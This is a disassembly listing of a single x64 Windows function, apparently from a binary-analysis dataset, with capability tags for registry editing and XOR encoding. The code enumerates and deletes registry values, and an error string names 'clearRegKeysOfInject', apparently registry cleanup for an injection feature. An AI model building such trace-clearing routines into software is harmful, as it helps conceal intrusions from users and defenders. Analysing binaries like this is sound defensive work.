Function at 0x14005ca00
Capabilities:
Delete registry value
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov qword [rbp - 1], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1401bce90]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r12d, dl
mov byte [rbp - 0x65], dl
mov r15, rcx
xor edi, edi
mov esi, edi
mov dword [rbp - 0x69], edi
lea rax, [rcx + 0x130]
mov qword [rbp - 0x31], rax
lea rbx, [rax + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop
lea rcx, [r15 + 0x160]
call fcn.14005dc60
lea rcx, [r15 + 0x170]
call fcn.14005dc60
mov dl, 1
mov rcx, r15
call fcn.14005d550
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r8d, dword [0x1401c4d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 2
jne 0x14005cb5a
mov edx, edi
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r8d
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
add r8d, eax
inc edx
cmp edx, 0x100
jl 0x14005cac0
mov dword [0x1401c4d60], r8d
mov edx, 0x5c
mov rcx, qword [r15 + 0x1b0]
call fcn.1400d0bb8
or r14d, 0xffffffff
test rax, rax
jne 0x14005cb79
mov eax, r14d
jmp 0x14005cb83
sub rax, qword [r15 + 0x1b0]
sar rax, 1
lea r8d, [rax + 1]
lea rdx, [rbp - 0x59]
lea rcx, [r15 + 0x1b0]
call fcn.140027d30
nop
lea rax, [rbp - 0x51]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [r15 + 0x1b0]
mov rcx, qword [r15 + 0x2d8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14005ccb5
call fcn.1400506a0
test al, al
jne 0x14005cbd5
dec dword [0x1401c62e4]
mov qword [rsp + 0x40], rdi
lea rax, [rbp - 0x51]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [r15 + 0x1b0]
mov rcx, qword [r15 + 0x2d8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14005ccb5
mov edx, eax
lea rcx, [rbp + 7]
call fcn.1400504a0
mov rbx, rax
lea rax, [rbp - 0x49]
mov qword [rbp - 0x31], rax
lea rcx, [0x1401bc9a8]
mov rdx, qword [0x1401bc9a8]
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x49], rax
lea rax, [rbp - 0x41]
mov qword [rbp - 0x31], rax
lea rcx, [0x1401bc9a8]
mov rax, qword [0x1401bc9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x41], rax
lea rdx, str.error_in_clearRegKeysOfInject:
lea rcx, [rbp - 0x49]
call fcn.140003350
cmp qword [rbx + 0x18], 0x10
jb 0x14005cc80
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp - 0x41]
call fcn.140003350
lea r8, [0x14014da2c]
lea rdx, [0x14014da30]
lea rcx, [rbp - 0x49]
call fcn.14000f1e0
nop
lea rdx, [0x140187320]
lea rcx, [rbp - 0x49]
call fcn.1400d61a8
nop
test r12b, r12b
je 0x14005ccf8
lea r8, str._ver
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 9]
call fcn.14001a720
nop
mov rdx, qword [rax]
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
nop
mov rdx, qword [rbp - 9]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005ccf5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rbp - 0x69]
mov r15d, edi
lea rcx, [0x1401bc9a8]
mov rax, qword [0x1401bc9a8]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp - 0x61], rbx
nop word [rax + rax]
mov dword [rbp - 0x39], 0x7ffe
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, 0x7ffe
or eax, ecx
jge 0x14005cd4d
mov edx, 0x7ffe
lea rcx, [rbp - 0x61]
call fcn.1400023a0
mov rbx, qword [rbp - 0x61]
cmp dword [rbx - 0xc], 0x7ffe
jl 0x14005d00f
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x39]
mov r8, rbx
mov edx, r15d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov r13d, eax
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.1400cedf8
test eax, eax
js 0x14005d004
cmp eax, dword [rbx - 0xc]
jg 0x14005d004
mov dword [rbx - 0x10], eax
movsxd rcx, eax
mov word [rbx + rcx*2], di
call fcn.140053610
mov r8, rax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x19]
call fcn.14001a720
nop
or esi, 1
mov dword [rbp - 0x69], esi
mov rdx, qword [rax]
test rdx, rdx
je 0x14005ce00
cmp dword [rbx - 0x10], 0
jl 0x14005ce00
mov rcx, rbx
call fcn.1400cefc8
test rax, rax
je 0x14005ce00
sub rax, rbx
sar rax, 1
cmp eax, 0xffffffff
jne 0x14005ce84
call fcn.140056510
mov r8, rax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x11]
call fcn.14001a720
nop
or esi, 2
mov dword [rbp - 0x69], esi
mov rdx, qword [rax]
test rdx, rdx
je 0x14005ce42
cmp dword [rbx - 0x10], 0
jl 0x14005ce42
mov rcx, rbx
call fcn.1400cefc8
test rax, rax
je 0x14005ce42
sub rax, rbx
sar rax, 1
cmp eax, 0xffffffff
jne 0x14005ce84
call fcn.140051700
mov r8, rax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x29]
call fcn.14001a720
nop
or esi, 4
mov dword [rbp - 0x69], esi
mov rdx, qword [rax]
test rdx, rdx
je 0x14005ce89
cmp dword [rbx - 0x10], 0
jl 0x14005ce89
mov rcx, rbx
call fcn.1400cefc8
test rax, rax
je 0x14005ce89
sub rax, rbx
sar rax, 1
cmp eax, 0xffffffff
je 0x14005ce89
mov r12b, 1
jmp 0x14005ce8c
xor r12b, r12b
test sil, 4
je 0x14005ceb7
and esi, 0xfffffffb
mov dword [rbp - 0x69], esi
mov rdx, qword [rbp - 0x29]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005ceb0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rbp - 0x69]
mov rbx, qword [rbp - 0x61]
test sil, 2
je 0x14005cee2
and esi, 0xfffffffd
mov dword [rbp - 0x69], esi
mov rdx, qword [rbp - 0x11]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005cedb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rbp - 0x69]
mov rbx, qword [rbp - 0x61]
test sil, 1
je 0x14005cf0d
and esi, 0xfffffffe
mov dword [rbp - 0x69], esi
mov rdx, qword [rbp - 0x19]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005cf06
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rbp - 0x69]
mov rbx, qword [rbp - 0x61]
test r12b, r12b
je 0x14005cf24
mov r15d, edi
mov rdx, rbx
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x14005cf27
inc r15d
test r13d, r13d
je 0x14005cd20
cmp byte [rbp - 0x65], 0
je 0x14005cf88
call fcn.1400512e0
mov r8, rax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14001a720
nop
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rax]
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp - 0x21]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005cf84
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rbp - 0x61]
call fcn.1400507b0
test al, al
jne 0x14005cfc8
mov ecx, 0x28
call fcn.1400cd918
mov rsi, rax
nop
call fcn.1400cebc4
add eax, dword [0x1401c4d60]
mov dword [rsi + rdi*4], eax
inc rdi
cmp rdi, 0xa
jl 0x14005cfa0
mov ecx, dword [rsi + 0x24]
mov dword [0x1401c4d60], ecx
mov rcx, rsi
call fcn.1400cf37c
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005cfe8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x59]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14005d000
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x14005d01a
mov ecx, 0x80070057
call fcn.140001920
int3
mov ecx, 0x80070057
call fcn.140001920
nop
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400ce2d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret